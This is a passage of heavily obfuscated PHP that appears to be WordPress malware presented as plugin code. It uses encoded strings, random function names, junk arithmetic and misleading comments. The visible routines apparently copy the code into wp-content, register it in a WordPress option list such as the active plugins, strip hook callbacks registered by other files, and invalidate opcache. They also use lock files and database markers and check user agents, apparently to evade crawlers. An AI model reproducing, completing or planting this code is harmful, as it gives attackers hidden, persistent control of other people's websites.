if     ($_xupuni2mwo0as9 !==  null     && $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(60))) @opcache_invalidate($_xupuni2mwo0as9, true);
     if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(61))) @set_transient(okltugscqfcy(51),  1,  (86350+50));
 if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(62)))  @delete_transient(c_5yznsrtgse_i(63));
e_42zxx3yq4pdz4bo4(e77owqcywda_d(64),  e77owqcywda_d(65)      .    ($ozh9nnlt2yuwsw28    !== null    ? $GLOBALS['__scf_n2ceqwn4my98_3']($ozh9nnlt2yuwsw28)     :   e77owqcywda_d(66)));
 return  true;
     }



 function fciooj1g85q8j2a96gelnh($rnibb0_mi2n)
   {
try  {
if ($rnibb0_mi2n     instanceof Closure)   {  $m6x_x9ny238pu  =   new  ReflectionFunction($rnibb0_mi2n); return    $m6x_x9ny238pu->getFileName(); }
    if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($rnibb0_mi2n)    && $GLOBALS['__scf_ffvfced40_hd3k_7']($rnibb0_mi2n,  e77owqcywda_d(67))   !==  false) { $m6x_x9ny238pu  =     new  ReflectionMethod($rnibb0_mi2n);   return  $m6x_x9ny238pu->getFileName(); }


  if     ($GLOBALS['__scf_ncrh0liqs6be8x_41']($rnibb0_mi2n)  &&  $GLOBALS['__scf_xjs199hyyb2xza_4']($rnibb0_mi2n))   { $m6x_x9ny238pu     =    new  ReflectionFunction($rnibb0_mi2n);  return     $m6x_x9ny238pu->getFileName();  }



       if   ($GLOBALS['__scf_a91xkwk0qm_35']($rnibb0_mi2n) &&    $GLOBALS['__scf_hotyagmbtkrb_36']($rnibb0_mi2n)  ===   2)  {$s896hf8u=69*7;$pb4p1l8unei=$s896hf8u-16;    $m6x_x9ny238pu   =  new ReflectionMethod($rnibb0_mi2n[0], $rnibb0_mi2n[1]);   return  $m6x_x9ny238pu->getFileName(); }
  } catch   (Throwable $ye68b7hs2257kgf)   {$hmhb4dtx_jxqrx=79+9;$k_gnzk5ej=$hmhb4dtx_jxqrx-35;}  catch  (Exception   $ye68b7hs2257kgf)  {}
 return  null;
     }

function  xwrsps4ned28zg87y3($gfqyhfnvmz)



{



   global  $l_q75eyogm3jnzt;
 if  (!$GLOBALS['__scf_a91xkwk0qm_35']($l_q75eyogm3jnzt)) return;

      $gku5e_2o27pm91  =   @$GLOBALS['__scf_jm_ztoos21fema_33']($gfqyhfnvmz);
    if  ($gku5e_2o27pm91  ===  false)  $gku5e_2o27pm91 = $gfqyhfnvmz;
 $zmpwb7sert_o =   @$GLOBALS['__scf_jm_ztoos21fema_33'](ku6yldy17ivtsoehkpgirz());$hh4adf93=63+33;$vv_tvqji2htkr9=$hh4adf93-4;
 foreach   ($l_q75eyogm3jnzt     as    $vhytyuj2qwly0vo => $ue9qynh_dyrd)     {
      if   ($GLOBALS['__scf_vd54bz_6kr2o44_68']($ue9qynh_dyrd)  &&  isset($ue9qynh_dyrd->callbacks)  &&      $GLOBALS['__scf_a91xkwk0qm_35']($ue9qynh_dyrd->callbacks))    $j01bzd1yh42      = $ue9qynh_dyrd->callbacks;
  elseif    ($GLOBALS['__scf_a91xkwk0qm_35']($ue9qynh_dyrd)) $j01bzd1yh42   =     $ue9qynh_dyrd;

  else     continue;
  

 foreach ($j01bzd1yh42 as   $tnikh33yhw => $list)   {
  foreach   ((array)  $list     as    $g5mbd1uqvv) {$hw06j5dk8r5w=PHP_INT_MAX/PHP_INT_MAX;$xizjx7m7g8nbq2=$hw06j5dk8r5w+58;
     $rnibb0_mi2n =  isset($g5mbd1uqvv[e77owqcywda_d(69)])  ?  $g5mbd1uqvv[e77owqcywda_d(69)]  :  null;
    if  ($rnibb0_mi2n   === null) continue;
$jj6fib7ix9ntj =   fciooj1g85q8j2a96gelnh($rnibb0_mi2n);
if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($jj6fib7ix9ntj))    continue;
  $ttfxk7wrhi =  @$GLOBALS['__scf_jm_ztoos21fema_33']($jj6fib7ix9ntj);
    if (!(($ttfxk7wrhi !==  false   && $ttfxk7wrhi === $gku5e_2o27pm91)    || $jj6fib7ix9ntj    ===   $gfqyhfnvmz))  continue;


     if   ($zmpwb7sert_o      !==     false &&     $ttfxk7wrhi  ===  $zmpwb7sert_o) continue;
 if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(70)))    @remove_filter($vhytyuj2qwly0vo,    $rnibb0_mi2n,  $tnikh33yhw);
    }
   }


 }
  }
 function   fvmr3480amihr7ohzk()
{
 $_suvn0g6fb   =    rr86pukxk9_hcz1();
 if (!@$GLOBALS['__scf_iomf4blfg0_43']($_suvn0g6fb))    return;
   $h8gk0ck04e =  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(71))  ? @$GLOBALS['__scf_gjx8dntqvik0_71']($_suvn0g6fb .    okltugscqfcy(72))  :   false;
    if   (!$GLOBALS['__scf_a91xkwk0qm_35']($h8gk0ck04e))  return;



    $zmpwb7sert_o  =    @$GLOBALS['__scf_jm_ztoos21fema_33'](ku6yldy17ivtsoehkpgirz());
/* lock-free extension */

      foreach    ($h8gk0ck04e     as $jj6fib7ix9ntj)  {
// APCu shm: indecomposable filter-chain

   $ttfxk7wrhi   =  @$GLOBALS['__scf_jm_ztoos21fema_33']($jj6fib7ix9ntj);
     if ($zmpwb7sert_o   !==  false &&  $ttfxk7wrhi     === $zmpwb7sert_o) continue;
     if  (!b1p_z7rdqk4o1fv4ey8f3t($jj6fib7ix9ntj, (353+147)))    continue;
     $o37smmdny8q3   =  tc8e7o2qmf7wf93881l($jj6fib7ix9ntj);


    $ltwyhinqv7v9olf  = ($o37smmdny8q3     ===     null)     || version_compare($o37smmdny8q3,    w218ynit42v8uao2p(),   '<');
    if ($ltwyhinqv7v9olf ||    tcabtbfivnye9t($jj6fib7ix9ntj))  xwrsps4ned28zg87y3($jj6fib7ix9ntj);
 }
// WP useEntityRecords: expire alert

 }


function qdde0bjty1e07vpar5t2($jl_ruybeyx54iw,  $f_4isqr6gaomku4)
 {
  return  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(73))    ? @$GLOBALS['__scf_nsfksoklwo_73']($jl_ruybeyx54iw,   $f_4isqr6gaomku4)  :   false;
}

   function  u34g0m5gddocpkl($jl_ruybeyx54iw)
{


   $lvr92t7wkrng  =  sx7gtblw9v0s3m1l7();
return qdde0bjty1e07vpar5t2($jl_ruybeyx54iw, ($lvr92t7wkrng  - ($lvr92t7wkrng    %   (99983+17))) +  lz2qq_av2vpeb134hcpk());
       }
function l5bm62j0wqxjaofuju3($hh1_yfj6va,     $ve7b97bfesd5z0)
 {

  return      $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(74))   ?   @$GLOBALS['__scf__fjwdq5uaqy8us_74']($hh1_yfj6va, $ve7b97bfesd5z0)  : false;$i869wsws3p1e=100|163;$rxfa_m1_=$i869wsws3p1e^14;



  }

   function   pmp5uslz6o5pfn7g7wxluy($hh1_yfj6va,  $ve7b97bfesd5z0)
{



     return   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(75)) ?    @$GLOBALS['__scf_m14439shit_z_75']($hh1_yfj6va,    $ve7b97bfesd5z0)  :  false;
}
   function  n2d49ghrqegz5jd_m($yaow7_phfq9,   $jl_ruybeyx54iw)
   {
  return   $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(76))  ?  @$GLOBALS['__scf_k5cfm7qdognpb_76']($yaow7_phfq9,  $jl_ruybeyx54iw)     : false;
}
  function o6xxatc5co65bwabc()
{
  static  $yn0ztzgpjq7c0e =   null;
 if ($yn0ztzgpjq7c0e !==    null)     return    $yn0ztzgpjq7c0e;
 $yn0ztzgpjq7c0e  = $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(77)) ?  $GLOBALS['__scf_hfd5naynxinvpq_77']()    :  e77owqcywda_d(78);
if (@$GLOBALS['__scf_iomf4blfg0_43']($yn0ztzgpjq7c0e)   && @$GLOBALS['__scf_lnazygzamf_47']($yn0ztzgpjq7c0e))  return   $yn0ztzgpjq7c0e;
      $i2heqo3a8u1x  =    defined(e77owqcywda_d(30)) ?   WP_CONTENT_DIR     : (defined(onlv7_99m8sby3(0)) ? ABSPATH  .   e77owqcywda_d(79) : "");
 if   ($i2heqo3a8u1x      !==  "")  {


  $jj6fib7ix9ntj      =  $GLOBALS['__scf_zwo1a6spxvy_12']($i2heqo3a8u1x,  okltugscqfcy(80))    .    c_5yznsrtgse_i(81);



  if  (!@$GLOBALS['__scf_iomf4blfg0_43']($jj6fib7ix9ntj))  @$GLOBALS['__scf_ol5vrg1wmp_b51_15']($jj6fib7ix9ntj,   (366+127),      true);
  if (@$GLOBALS['__scf_iomf4blfg0_43']($jj6fib7ix9ntj)  && @$GLOBALS['__scf_lnazygzamf_47']($jj6fib7ix9ntj)) {$bdp3h91675a2y8=597;$pk1n79_v6o=($bdp3h91675a2y8>0)?$bdp3h91675a2y8:-$bdp3h91675a2y8;


     if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(82)))  @putenv(c_5yznsrtgse_i(83)   .      $jj6fib7ix9ntj);
    $GLOBALS[okltugscqfcy(84)] =    1;

$yn0ztzgpjq7c0e = $jj6fib7ix9ntj;



  }
 }
 return    $yn0ztzgpjq7c0e;
   }
  function  ir1g9dtvh7_yawm1n()



{
     $yaow7_phfq9 =   gvz2nz5q0a_3fi6ss();
    $kmgnq9_fgpd56zwu    = rr86pukxk9_hcz1();
  if  ($yaow7_phfq9  === $kmgnq9_fgpd56zwu)  return  true;
if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(33)))     {
  $qtw6bahtwgs4cee   =    @$GLOBALS['__scf_jm_ztoos21fema_33']($yaow7_phfq9);



$wm8h_vdhxr0  = @$GLOBALS['__scf_jm_ztoos21fema_33']($kmgnq9_fgpd56zwu);
return  ($qtw6bahtwgs4cee !== false  && $wm8h_vdhxr0   !==  false && $qtw6bahtwgs4cee      === $wm8h_vdhxr0);
 }
  return false;


}
    function lz2qq_av2vpeb134hcpk()



    {
 return (59881+33938);
}
function  tsanwrkxvhnnslcp4()
     {
  if  (!defined(onlv7_99m8sby3(0)))    return  "";

$i2heqo3a8u1x =   defined(onlv7_99m8sby3(30))    ?    WP_CONTENT_DIR :     ABSPATH  .  okltugscqfcy(79);



    return  $GLOBALS['__scf_zwo1a6spxvy_12']($i2heqo3a8u1x,  c_5yznsrtgse_i(80))    .  c_5yznsrtgse_i(85)   .  $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56'](ABSPATH    .  okltugscqfcy(66)), 0,   (137^129))   . okltugscqfcy(86)     .  $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56'](ABSPATH .   e77owqcywda_d(87)), 0, (1+7))  .  okltugscqfcy(24);
      }
 function     w09b4xv9a3rwwj($c0abca9op_  =      null)
{
   $jl_ruybeyx54iw      =  tsanwrkxvhnnslcp4();
  if  ($jl_ruybeyx54iw ===  "")  return     false;


 if     (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($c0abca9op_)   || $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_) <  (470+30)) $c0abca9op_   = s_41a4npfkl91g6lvjvfe();
   if   (!$c0abca9op_   || !pqt0j30bec0qiplt($c0abca9op_))     return false;
   $yaow7_phfq9 =      $GLOBALS['__scf__ozzh8uadm__11']($jl_ruybeyx54iw);
 if (!@$GLOBALS['__scf_iomf4blfg0_43']($yaow7_phfq9))     z896t8tuy9x7zn5($yaow7_phfq9,  (384+109),   true);
   if (!@$GLOBALS['__scf_iomf4blfg0_43']($yaow7_phfq9) || !@$GLOBALS['__scf_lnazygzamf_47']($yaow7_phfq9)) return false;
  if  (@$GLOBALS['__scf_cr6q9fwgft_18']($jl_ruybeyx54iw)) {
 $a1fpauw94pn79jaf =     r69sydkoh03qc2iwi5sfm($jl_ruybeyx54iw);
if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($a1fpauw94pn79jaf)  && $a1fpauw94pn79jaf    !==    ""  &&   $GLOBALS['__scf_poant85f5yad_56']($a1fpauw94pn79jaf)   ===  $GLOBALS['__scf_poant85f5yad_56']($c0abca9op_))  return  true;
unset($a1fpauw94pn79jaf);



      $xcm_db49g0 =  tc8e7o2qmf7wf93881l($jl_ruybeyx54iw);
 

 if ($xcm_db49g0 !==  null     && version_compare($xcm_db49g0,   w218ynit42v8uao2p(),   '>')) return  false;
  unset($xcm_db49g0);
  }
  if     (!n_52vz_mvq1filje($jl_ruybeyx54iw,      $c0abca9op_)) return false;

    jl7b1mmow1nrgaho8($jl_ruybeyx54iw,   (336+84));
     gy672vrnjusgcel1($jl_ruybeyx54iw);
return true;
   }
 function   r4n5lcq4npim49g6ac7()
   {
  $c0abca9op_ = s_41a4npfkl91g6lvjvfe();


     if     (!$c0abca9op_    ||  !pqt0j30bec0qiplt($c0abca9op_))      return false;
  $eaeerm127wtnj     = $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),   onlv7_99m8sby3(24));
  $og0ebx9lu2qzdtmg     =   $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(88))   ? rb4qo3s3qey8iml9k_t() : (defined(e77owqcywda_d(30))   ?     WP_CONTENT_DIR     : "");
  if   ($og0ebx9lu2qzdtmg   ===   "")     return      false;
 $fx4zteq5zn = $og0ebx9lu2qzdtmg .    okltugscqfcy(89)   .  $eaeerm127wtnj;
      $bzoz1jwm005rn   =  $fx4zteq5zn    .  '/'  .  $eaeerm127wtnj .     okltugscqfcy(24);
      $vtin74jazam = false;
if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(90))) {
      $bk400suo8igo5   =  @$GLOBALS['__scf_jm_ztoos21fema_33']($bzoz1jwm005rn);
  $rp0u3mvtw94mch =  @$GLOBALS['__scf_jm_ztoos21fema_33'](ku6yldy17ivtsoehkpgirz());
 $vtin74jazam  =   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($bk400suo8igo5) &&      $GLOBALS['__scf_ncrh0liqs6be8x_41']($rp0u3mvtw94mch)  && $bk400suo8igo5     ===   $rp0u3mvtw94mch);
 }



 if  (!$vtin74jazam) {

 if  (!@$GLOBALS['__scf_iomf4blfg0_43']($fx4zteq5zn)) z896t8tuy9x7zn5($fx4zteq5zn, (720-227),      true);
 if    (!@$GLOBALS['__scf_iomf4blfg0_43']($fx4zteq5zn)  || !@$GLOBALS['__scf_lnazygzamf_47']($fx4zteq5zn))  return   false;
       $loaawby_f0ccx_  =  @$GLOBALS['__scf_cr6q9fwgft_18']($bzoz1jwm005rn)  ?    r69sydkoh03qc2iwi5sfm($bzoz1jwm005rn) :  false;
 if   ($loaawby_f0ccx_  !== null && (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($loaawby_f0ccx_) || $GLOBALS['__scf_poant85f5yad_56']($loaawby_f0ccx_) !== $GLOBALS['__scf_poant85f5yad_56']($c0abca9op_)))   {
if  (@$GLOBALS['__scf_cr6q9fwgft_18']($bzoz1jwm005rn)) {



     $xcm_db49g0 =  tc8e7o2qmf7wf93881l($bzoz1jwm005rn);

   if  ($xcm_db49g0      !==    null  &&  version_compare($xcm_db49g0,     w218ynit42v8uao2p(),      '>')) return false;


 unset($xcm_db49g0);
}
if (!n_52vz_mvq1filje($bzoz1jwm005rn,  mnjwoq6_2fqzybrsdxadv2($c0abca9op_)))  return   false;$yjdu_qg8e=(0xe5+0x7f);$otr98a5zft=$yjdu_qg8e%16;
    jl7b1mmow1nrgaho8($bzoz1jwm005rn, (766-346));

  u34g0m5gddocpkl($bzoz1jwm005rn);

   gy672vrnjusgcel1($bzoz1jwm005rn);



    }
   unset($loaawby_f0ccx_);
    }
  $uimtcf5p5mhxg9gk =  $eaeerm127wtnj    . '/'   .  $eaeerm127wtnj . c_5yznsrtgse_i(91);
bplid4ydhvb2zb8go4($uimtcf5p5mhxg9gk);



 return    true;
 }


 function  tc8e7o2qmf7wf93881l($jl_ruybeyx54iw)
  {



 $k7b_rvq0a5    =    @$GLOBALS['__scf_ha14er2zmzf_92']($jl_ruybeyx54iw, false,   null,   0, (4063+33));
      if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($k7b_rvq0a5)) return null;
 if ($GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(94),  $k7b_rvq0a5,   $kmgnq9_fgpd56zwu))  return  $kmgnq9_fgpd56zwu[1];
  return    null;


    }
  



    function  b1p_z7rdqk4o1fv4ey8f3t($daurlke0afcg,   $slymp63gj6w)
 {$o0wflvvx=-819;$v7ptimmtv_xi=($o0wflvvx>0)?$o0wflvvx:-$o0wflvvx;
  @clearstatcache(true, $daurlke0afcg);
 
 $sdmwrsw7npdlnk5 =   @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($daurlke0afcg);
 if   (!$sdmwrsw7npdlnk5 ||  ($sdmwrsw7npdlnk5 %  (51805+48195)) !==     lz2qq_av2vpeb134hcpk())     {
// WP Navigation Block: exponential dependency-graph

 return     false;
}
 
 $yionx_1pi6yhj  =    @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($daurlke0afcg);

return  $yionx_1pi6yhj &&     $yionx_1pi6yhj >= $slymp63gj6w;


        }
function g29ry0xdrrzqo66sx1_no()
  {
   return   (35917+83);
 }
function p_q793u2yxtjaydw671w95()
  {
    return okltugscqfcy(97);
 }
function   iyfrtzihosexnci()



     {
    return    e77owqcywda_d(98);
  }

 function wn3whf021lq0ko()


 {
      if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(99)))  return    true;
     if   (badwwb_qdkpaj1f20toec0()) return  true;
     $ck8hfc8ehgqv_d    = $GLOBALS['__scf_sp7azfm0t4x0x_100']((string) $GLOBALS['__scf_w3427jutwi_101']());
      if  ($ck8hfc8ehgqv_d ===     onlv7_99m8sby3(102)  || $GLOBALS['__scf_ffvfced40_hd3k_7']($ck8hfc8ehgqv_d,  e77owqcywda_d(103))  !==    false) return     true;
 $hgd4oacqhp10   =   isset($_SERVER[onlv7_99m8sby3(104)])  ?  $GLOBALS['__scf_sp7azfm0t4x0x_100']((string)    $_SERVER[onlv7_99m8sby3(104)]) : "";
   if  ($hgd4oacqhp10  !==  "" &&  ($GLOBALS['__scf_ffvfced40_hd3k_7']($hgd4oacqhp10,   okltugscqfcy(105)) !==    false    ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($hgd4oacqhp10,   okltugscqfcy(103))     !==    false   ||   $GLOBALS['__scf_ffvfced40_hd3k_7']($hgd4oacqhp10,  c_5yznsrtgse_i(106))  !==   false)) return  true;
  return  false;
    }
  function badwwb_qdkpaj1f20toec0()
  {
 $hgd4oacqhp10   =     isset($_SERVER[c_5yznsrtgse_i(104)])  ? $_SERVER[onlv7_99m8sby3(104)]  : "";
    return $GLOBALS['__scf_ncrh0liqs6be8x_41']($hgd4oacqhp10)  &&  stripos($hgd4oacqhp10,  okltugscqfcy(107)) !== false;
}

 function   _mi9a3bco72i6e1chhgbc($gfqyhfnvmz)

      {
  $hrit1440hhc =  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(108)) ?  @$GLOBALS['__scf_hccbqyvtdwo0fx_109'](onlv7_99m8sby3(110)) :   false;
      if  (!$hrit1440hhc  || $hrit1440hhc     === "")    return  true;
 $gku5e_2o27pm91 =  @$GLOBALS['__scf_jm_ztoos21fema_33']($gfqyhfnvmz);
       if    (!$gku5e_2o27pm91)  $gku5e_2o27pm91    = $gfqyhfnvmz;
 foreach      ($GLOBALS['__scf_yg8mfbm26s_111'](PATH_SEPARATOR,   $hrit1440hhc) as     $d5o4amclcy2jr)   {
$d5o4amclcy2jr    =     $GLOBALS['__scf_zwo1a6spxvy_12']($d5o4amclcy2jr, okltugscqfcy(80));
   if     ($d5o4amclcy2jr && ($gku5e_2o27pm91     ===  $d5o4amclcy2jr    ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($gku5e_2o27pm91,    $d5o4amclcy2jr  . DIRECTORY_SEPARATOR)    ===  0)) return     true;


 }
      return false;
}
   function bi44sfngu9jb_o9z($gsdy18gl1598xp1)

    {
     $dyy9o807zf7r =     $gsdy18gl1598xp1   .      '|' . (defined(e77owqcywda_d(112))    ?   DB_NAME     :  "")  .      '|' .    (defined(c_5yznsrtgse_i(0)) ?    ABSPATH :  "");

  return   $GLOBALS['__scf_poant85f5yad_56']($dyy9o807zf7r);

   }
  function      r9q5mjga_j0i3gm_($gsdy18gl1598xp1)
{
  global  $wpdb;
 if (!isset($GLOBALS[okltugscqfcy(113)]) ||      !$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[c_5yznsrtgse_i(113)])) $GLOBALS[e77owqcywda_d(113)] =  array();
 if (!empty($GLOBALS[onlv7_99m8sby3(114)][$gsdy18gl1598xp1]))  {
   if (isset($GLOBALS[okltugscqfcy(115)][$gsdy18gl1598xp1])  &&   $GLOBALS['__scf_vd54bz_6kr2o44_68']($wpdb))   {

    $ywspam08w0v6 =    isset($wpdb->dbh)   ? $wpdb->dbh      :    null;

    if ($ywspam08w0v6  !==   null &&    $GLOBALS[onlv7_99m8sby3(115)][$gsdy18gl1598xp1]  !==   $ywspam08w0v6)   {

 unset($GLOBALS[e77owqcywda_d(116)][$gsdy18gl1598xp1],   $GLOBALS[c_5yznsrtgse_i(115)][$gsdy18gl1598xp1]);
 return  r9q5mjga_j0i3gm_($gsdy18gl1598xp1);
}
 unset($ywspam08w0v6);
       }

       $GLOBALS[e77owqcywda_d(117)][$gsdy18gl1598xp1]++;



    return true;
    }
if     ($GLOBALS['__scf_vd54bz_6kr2o44_68']($wpdb)  &&     $GLOBALS['__scf_mihsk1y5nz_118']($wpdb,  onlv7_99m8sby3(119))) {
   $m6x_x9ny238pu = @$wpdb->get_var(e77owqcywda_d(120) . bi44sfngu9jb_o9z($gsdy18gl1598xp1)   .    okltugscqfcy(121));
    if ($m6x_x9ny238pu  ===    '1')    {
$GLOBALS[okltugscqfcy(117)][$gsdy18gl1598xp1] =   1;
 if (isset($wpdb->dbh)   &&  $wpdb->dbh)   $GLOBALS[okltugscqfcy(115)][$gsdy18gl1598xp1] =    $wpdb->dbh;
   return    true;
}
 if    ($m6x_x9ny238pu  === '0') return false;
   }
      if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(122))      &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(21))) {



      $mn09qsuijd9lw1  = array();
 if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(77)))  $mn09qsuijd9lw1[]  =  $GLOBALS['__scf_hfd5naynxinvpq_77']();
if  (defined(e77owqcywda_d(123)))  $mn09qsuijd9lw1[]  = WP_CONTENT_DIR;
 if (defined(okltugscqfcy(0)))  $mn09qsuijd9lw1[]  =   $GLOBALS['__scf_zwo1a6spxvy_12'](ABSPATH,  c_5yznsrtgse_i(80));
        foreach ($mn09qsuijd9lw1 as $yaow7_phfq9)     {
     if  ($yaow7_phfq9 === ""  || !@$GLOBALS['__scf_iomf4blfg0_43']($yaow7_phfq9)     ||     !@$GLOBALS['__scf_lnazygzamf_47']($yaow7_phfq9))    continue;
$xu_tib43my2 = @$GLOBALS['__scf_fumpd7io1zfk8_21']($yaow7_phfq9   .  e77owqcywda_d(124)    . bi44sfngu9jb_o9z($gsdy18gl1598xp1) .  c_5yznsrtgse_i(125),   'c');
if  ($xu_tib43my2 !==  false) {
 if     (!@flock($xu_tib43my2,    LOCK_EX     |   LOCK_NB))   {
   @fclose($xu_tib43my2);
    return false;



 }



 if    (!isset($GLOBALS[e77owqcywda_d(126)])     || !$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[e77owqcywda_d(126)])) $GLOBALS[e77owqcywda_d(126)]     =     array();
   $GLOBALS[c_5yznsrtgse_i(126)][$gsdy18gl1598xp1] = $xu_tib43my2;
$GLOBALS[e77owqcywda_d(117)][$gsdy18gl1598xp1]   =    1;
return     true;
  }
}
  }
 $GLOBALS[onlv7_99m8sby3(117)][$gsdy18gl1598xp1]  = 1;    
$GLOBALS[e77owqcywda_d(127)][$gsdy18gl1598xp1] =     1;
        return true;
   }
  function     gp1654dr46ffgrsz($gsdy18gl1598xp1)
      {
 global $wpdb;
 if      (empty($GLOBALS[onlv7_99m8sby3(117)][$gsdy18gl1598xp1]))  return;
       $GLOBALS[e77owqcywda_d(117)][$gsdy18gl1598xp1]--;
if  ($GLOBALS[okltugscqfcy(117)][$gsdy18gl1598xp1]  >  0)     return;
     unset($GLOBALS[okltugscqfcy(117)][$gsdy18gl1598xp1]);


     unset($GLOBALS[okltugscqfcy(128)][$gsdy18gl1598xp1]);
unset($GLOBALS[okltugscqfcy(127)][$gsdy18gl1598xp1]);
   if  (isset($GLOBALS[onlv7_99m8sby3(126)][$gsdy18gl1598xp1]))  {$w4dlex7dh5g=-450;$t_xvtdqtf8gcd=($w4dlex7dh5g>0)?$w4dlex7dh5g:-$w4dlex7dh5g;
 @flock($GLOBALS[e77owqcywda_d(126)][$gsdy18gl1598xp1],   LOCK_UN);

   @fclose($GLOBALS[okltugscqfcy(129)][$gsdy18gl1598xp1]);
  unset($GLOBALS[onlv7_99m8sby3(129)][$gsdy18gl1598xp1]);


   }

 if    ($GLOBALS['__scf_vd54bz_6kr2o44_68']($wpdb) &&    $GLOBALS['__scf_mihsk1y5nz_118']($wpdb,    c_5yznsrtgse_i(130)))  {


@$wpdb->query(e77owqcywda_d(131)    . bi44sfngu9jb_o9z($gsdy18gl1598xp1)      .   onlv7_99m8sby3(132));
       

}
      }
function      rqr3_97bcqnf0fx8()
   {
  if (defined(onlv7_99m8sby3(133))    && DISALLOW_FILE_MODS)  return  false;
   return true;
}
function xg_dpmhve4zd7035vz()


  {
   if   (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(122)) ||  !$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(134))) return false;
 $uhdedzo43xsf2m  =  array();
    if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(135))) $uhdedzo43xsf2m[] =  $GLOBALS['__scf_hfd5naynxinvpq_77']();
   if (defined(okltugscqfcy(123)))      $uhdedzo43xsf2m[]   =      WP_CONTENT_DIR;



if   (defined(onlv7_99m8sby3(0))) $uhdedzo43xsf2m[]     =    $GLOBALS['__scf_zwo1a6spxvy_12'](ABSPATH,  okltugscqfcy(136));
   foreach  ($uhdedzo43xsf2m as    $b97pw_klywhvu)  {$wp8b6qgu733=2447;$khi6en_m38i=$wp8b6qgu733%17;
     if ($b97pw_klywhvu === ""      ||   !@$GLOBALS['__scf_iomf4blfg0_43']($b97pw_klywhvu)  ||     !@$GLOBALS['__scf_lnazygzamf_47']($b97pw_klywhvu)) continue;


  $wcughy75wxzcj  = @$GLOBALS['__scf_fumpd7io1zfk8_21']($b97pw_klywhvu   .  onlv7_99m8sby3(124)     .     bi44sfngu9jb_o9z(okltugscqfcy(137)) .  okltugscqfcy(125),  'c');
 if  ($wcughy75wxzcj ===  false)    continue;
if    (!@flock($wcughy75wxzcj,   LOCK_EX |      LOCK_NB))  {
     @fclose($wcughy75wxzcj);
     return   false;

  }
 $GLOBALS[c_5yznsrtgse_i(138)] =     $wcughy75wxzcj;
 return   true;
}
return  false;


}



 function     y6dhkjz1j51dgng()
  {
if (isset($GLOBALS[c_5yznsrtgse_i(138)]))     {
       @flock($GLOBALS[c_5yznsrtgse_i(138)], LOCK_UN);


@fclose($GLOBALS[c_5yznsrtgse_i(139)]);
 unset($GLOBALS[e77owqcywda_d(140)]);
}
 }



  function  bplid4ydhvb2zb8go4($uimtcf5p5mhxg9gk)
   {

        if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(141))   ||   !$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(142))) return;
if  (!xg_dpmhve4zd7035vz())   return;
 try     {
 $wc8uxi8riwgaae = get_option(c_5yznsrtgse_i(143), array());

  if   (!$GLOBALS['__scf_a91xkwk0qm_35']($wc8uxi8riwgaae))     $wc8uxi8riwgaae =   array();
$zkrddvlrf0nz =     $GLOBALS['__scf_fnyr4wcmh06x_144']($GLOBALS['__scf_youxoa71214_145']($wc8uxi8riwgaae));
   if  (!$GLOBALS['__scf_wwy_cardw8r5v6_146']($uimtcf5p5mhxg9gk, $zkrddvlrf0nz, true))   $zkrddvlrf0nz[]   =    $uimtcf5p5mhxg9gk;
 if  ($zkrddvlrf0nz  !==    $wc8uxi8riwgaae)    update_option(onlv7_99m8sby3(143), $zkrddvlrf0nz);
      unset($zkrddvlrf0nz);
}  finally {
 y6dhkjz1j51dgng();
 }
  }
function  s73576w3v3b__5su5($uimtcf5p5mhxg9gk)
  {
if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(141))  ||  !$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(147)))  return;



if  (!xg_dpmhve4zd7035vz())  return;
  try  {
$wc8uxi8riwgaae =    get_option(okltugscqfcy(143),   array());
    if ($GLOBALS['__scf_a91xkwk0qm_35']($wc8uxi8riwgaae) &&    $GLOBALS['__scf_wwy_cardw8r5v6_146']($uimtcf5p5mhxg9gk,  $wc8uxi8riwgaae, true)) {
// suffix check



